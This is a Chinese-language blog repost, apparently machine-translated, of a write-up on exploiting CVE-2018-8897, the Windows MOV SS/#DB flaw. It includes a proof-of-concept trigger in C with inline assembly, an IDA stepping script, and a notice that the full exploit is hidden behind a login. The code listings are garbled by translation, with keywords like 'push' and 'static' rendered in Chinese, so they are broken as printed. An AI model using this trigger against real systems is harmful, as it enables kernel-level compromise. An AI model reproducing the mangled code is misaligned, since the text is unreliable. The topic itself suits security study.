CVE-2018-8897任意执行代码

  • A+
所属分类:网络安全工具

就在几天前,Nick Peterson(@nickeverdox)和Nemanja Mulasmajic(@ 0xNemi)发现了一个允许非特权用户运行带有用户模式GSBASE的#DB处理程序的新漏洞。在白皮书的最后,他们发布了 triplefault.io,他们提到他们能够加载和执行未签名的内核代码,这让我对挑战感兴趣; 这正是我要在这篇文章中尝试做的。

CVE-2018-8897任意执行代码

在开始之前,我想指出的是,这个漏洞在虚拟机上不起作用,因为int3在虚拟化下丢弃了#DB。我通过“模拟”这种情况来调试它。

0x0:设置基础
这个漏洞的基本原理非常简单,与开发漏洞不同。当堆栈段改变时 - 无论是通过MOV还是POP-直到下一条指令完成中断都被延迟。这不是微代码错误,而是英特尔添加的功能,因此可以同时设置堆栈段和堆栈指针。

但是,许多操作系统供应商错过了这个细节,这让我们引发#DB异常,就好像它来自用户模式下的CPL0。

我们可以通过设置调试寄存器来创建延迟到CPL0的异常,以便在执行堆栈段更改指令期间#DB将引发并立即调用int 3 。int 3将跳转到KiBreakpointTrap,并且在KiBreakpointTrap的第一条指令执行之前,我们的#DB将被提升。

正如原始白皮书中的everdox和0xNemi所提到的,这使我们可以使用我们的用户模式GSBASE运行内核模式异常处理程序。调试寄存器和XMM寄存器也将被保存。

所有这些都可以通过几行来完成,如下所示:

  1. #include <Windows.h>
  2. #include <iostream>
  3. void main ()
  4. {
  5.   静态DWORD g_SavedSS = 0 ;
  6.   _asm
  7.   {
  8.     mov ax,ss
  9.     mov word ptr [ g_SavedSS ] ,ax
  10.   }
  11.   CONTEXT Ctx = { 0 } ;
  12.   CTX。Dr0 = (DWORD )&g_SavedSS;
  13.   CTX。Dr7 = (0b1 << 0 )| (0b11 << 16 )| (0b11 << 18 );
  14.   CTX。ContextFlags = CONTEXT_DEBUG_REGISTERS;
  15.   SetThreadContext (HANDLE (- 2 ),&Ctx );
  16.   PVOID FakeGsBase = ...;
  17.   _asm
  18.   {
  19.     mov eax,FakeGsBase; 设置eax为假gs基地
  20.     推0x23
  21.     推X64_End
  22.     推0x33
  23.     推X64_Start
  24.     RETF
  25.     X64_Start:
  26.     __emit 0xf3                 ; wrgsbase eax
  27.     __emit 0x0f
  28.     __emit 0xae
  29.     __emit 0xd8
  30.     RETF
  31.     X64_End:
  32.     ; 漏洞
  33.     mov ss,word ptr [ g_SavedSS ]       ; 推迟调试异常
  34.     int 3                                ; 执行中断禁用
  35.     NOP
  36.   }
  37. }

这个例子是32位的,为了将ASM和C一起展示,最终的工作代码将是64位。

现在,让我们开始调试,我们在 KiDebugTrapOrFault与我们的定制GSBASE!然而,这只不过是灾难性的,几乎没有功能起作用,我们最终会出现在KiDebugTrapOrFault-> KiGeneralProtectionFault-> KiPageFault-> KiPageFault-> ...无限循环中。如果我们有一个完全有效的GSBASE,那么到目前为止我们所取得的成果将是一个KMODE_EXCEPTION_NOT_HANDLED BSOD , 所以让我们专注于使GSBASE功能像真正的一样,并尝试去KeBugCheckEx。

我们可以利用一个小的IDA脚本更快地转到相关部分:

  1. #include <idc.idc>
  2. 静态main ()
  3. {
  4.   消息(“---步骤直到下一步GS --- \ n” );
  5.   而(1 )
  6.   {
  7.     auto Disasm = GetDisasmEx (GetEventEa (),1 );
  8.     if (strstr (Disasm,“gs:” )> = Disasm )
  9.       打破;
  10.     StepInto ();
  11.     GetDebuggerEvent (WFNE_SUSP, - 1 );
  12.   }
  13. }

漏洞利用代码

部分内容被隐藏
需登陆后可查看
  • 服务器购买微信群
  • 阿里云&腾讯云&国外VPS
  • weinxin
  • 服务器购买QQ群
  • 阿里云&腾讯云&国外VPS
  • weinxin
CE安全网

发表评论

您必须登录才能发表评论!